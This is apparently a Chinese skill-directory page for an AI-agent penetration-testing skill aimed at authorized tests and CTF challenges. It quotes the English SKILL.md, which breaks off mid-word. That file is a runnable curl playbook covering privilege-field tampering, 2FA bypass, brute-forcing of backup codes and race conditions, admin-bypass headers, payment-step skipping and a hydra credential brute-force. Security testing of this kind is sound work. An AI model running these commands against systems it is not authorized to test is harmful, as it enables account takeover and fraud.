business-logic
它能做什么
这份指南涵盖应用业务规则中的漏洞,而不是标准的注入类问题。适合检查注册、个人资料、双重验证和工作流功能的安全测试人员。
适用场景
- ✓当授权测试发现注册或个人资料表单接受角色或管理员标志等字段时。
- ✓当双重验证步骤可能被跳过,或在没有有效验证码的情况下被接受时。
- ✓当多步骤工作流可能允许步骤被重新排序或跳过时。
技能链接
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/business-logic/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“在我们的应用中,普通用户能否通过个人资料或注册表单更改自己的角色?请在我们的测试环境中帮我检查?”
每周 5 个新技能,1 分钟读完。
工作原理
智能体在授权测试中比较正常请求与被修改的请求,检查服务器是否信任由客户端设置的字段,并报告未通过的规则。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
Business Logic / Privilege Escalation
For challenges where the vulnerability is in the application's business rules, not in standard injection sinks. Common patterns: client-controlled privilege fields, 2FA bypass, predictable codes, hidden auth headers.
1. POST-Body Privilege Field Tampering
When registration/profile endpoints accept arbitrary JSON or form fields, the server may read trusted privilege flags from the request:
# Intercept normal registration first to see what fields are sent
curl -s -X POST 'https://<TARGET>/register' \
-H 'Content-Type: application/json' \
-d '{"username":"alice","email":"a@a.com","password":"x"}' -v 2>&1 > /tmp/register_baseline.txt
head -50 /tmp/register_baseline.txt
# Add common privilege fields to the body
for field in 'role:admin' 'is_admin:true' 'admin:1' 'user_type:admin' 'isAdmin:true' 'is_superuser:true' 'staff:true' 'level:99' 'group:administrators'; do
key=${field%:*}; val=${field#*:}
echo "=== try $key=$val ==="
curl -s -X POST 'https://<TARGET>/register' \
-H 'Content-Type: application/json' \
-d "{\"username\":\"u_$RANDOM\",\"password\":\"x\",\"$key\":$val}" \
-o /tmp/priv_probe.txt -w '%{http_code}\n'
grep -i 'admin\|role\|privilege\|flag\|token' /tmp/priv_probe.txt | head -5
done
2. 2FA Bypass Patterns
# (a) Bypass-by-omission — skip /2fa/verify entirely, go directly to /dashboard with partially-authenticated session
curl -s 'https://<TARGET>/dashboard' -b 'session=<post-login-pre-2fa>' -o /tmp/bypass_omit.txt -w '%{http_code}\n'
# (b) Empty / null code
curl -s -X POST 'https://<TARGET>/2fa/verify' -d 'code=' -b 'session=...' -o /tmp/r.txt -w '%{http_code}\n'
curl -s -X POST 'https://<TARGET>/2fa/verify' -H 'Content-Type: application/json' \
-d '{"code":null}' -b 'session=...' -o /tmp/r.txt -w '%{http_code}\n'
curl -s -X POST 'https://<TARGET>/2fa/verify' -H 'Content-Type: application/json' \
-d '{}' -b 'session=...' -o /tmp/r.txt -w '%{http_code}\n'
# (c) Backup code enumeration (often 8-digit numeric)
for code in 00000000 11111111 12345678 87654321; do
curl -s -X POST 'https://<TARGET>/2fa/verify' -d "code=$code" -b 'session=...' -o /tmp/r.txt -w "%{http_code} $code\n"
done
# (d) TOTP seed leak — check registration response for "secret" or "qr" field; if leaked, generate code
# python3 -c "import pyotp; print(pyotp.TOTP('<LEAKED_SECRET>').now())"
# (e) Race condition on verify — submit concurrently to beat rate-limit or state check
seq 1 20 | xargs -P 20 -I _ curl -s -X POST 'https://<TARGET>/2fa/verify' \
-d 'code=999999' -b 'session=...' -o /dev/null -w '%{http_code}\n' | sort | uniq -c
3. Hidden Authorization Headers
# Try common admin-bypass headers — redirect output to avoid inlining
for h in 'X-Admin: true' 'X-User-Role: admin' 'X-Forwarded-User: admin' \
'X-Forwarded-For: 127.0.0.1' 'X-Real-IP: 127.0.0.1' \
'X-Original-URL: /admin' 'X-Rewrite-URL: /admin' \
'X-Custom-IP-Authorization: 127.0.0.1' 'Referer: https://<TARGET>/admin'; do
echo "=== $h ==="
curl -s -H "$h" 'https://<TARGET>/admin' -o /tmp/header_probe.txt -w '%{http_code}\n'
grep -i 'admin\|flag\|dashboard\|forbidden' /tmp/header_probe.txt | head -3
done
4. Multi-Step Workflow Tampering
When a workflow has steps (e.g., cart → checkout → payment → confirm), tampering with the step transition can skip payment or unlock states:
# Skip a step: directly POST to a later step's endpoint with state from earlier step
curl -s -X POST 'https://<TARGET>/checkout/confirm' \
-d 'order_id=<id_from_step_1>' -b 'session=...' -o /tmp/skip_step.txt -w '%{http_code}\n'
# Replay a step with modified state
curl -s -X POST 'https://<TARGET>/checkout/payment' \
-d 'amount=0&order_id=<id>' -b 'session=...' -o /tmp/mod_state.txt -w '%{http_code}\n'
5. Credential Brute-Force (when explicitly correct strategy)
If the challenge clearly intends credential discovery (explicit hint about default creds), use hydra instead of curl loops:
hydra -L /usr/share/wordlists/seclists/usernames/top-usernames-shortlist.txt \
-P /usr/share/wordlists/rockyou.txt \
-t 16 -f -V \
<TARGET> http-post-form '/login:user=^USER^&pass=^PASS^:Invalid' \
-o /tmp/hydra_out.txt
Do NOT default to brute-force. Try Sections 1-4 first — most CTF challenges tagged privilege_escalation are NOT brute-forceable; they require business-logic explo
常见问题
为什么由客户端设置的字段很重要?
该指南指出,服务器不应信任浏览器发送的权限标志。
什么是双重验证绕过?
就是在没有有效的第二步验证码的情况下完成登录,该指南将其列为常见模式。
它涵盖多步骤工作流吗?
是的。该指南包括对多步骤流程中各个步骤的篡改。
详情
作者的原始描述
Business logic / authentication bypass / privilege escalation — POST body field tampering (role/is_admin/user_type), 2FA bypass via response manipulation, predictable TOTP seeds, hidden authorization headers, multi-step workflow tampering. For challenges tagged business_logic, privilege_escalation, 2fa_bypass, or auth_bypass that aren't pure IDOR/JWT.
热度
- GitHub 星标
- 6.5k
- 排名
- #14051
- 许可证
- Apache-2.0
- 更新时间
- 2026/11/1
评论
- …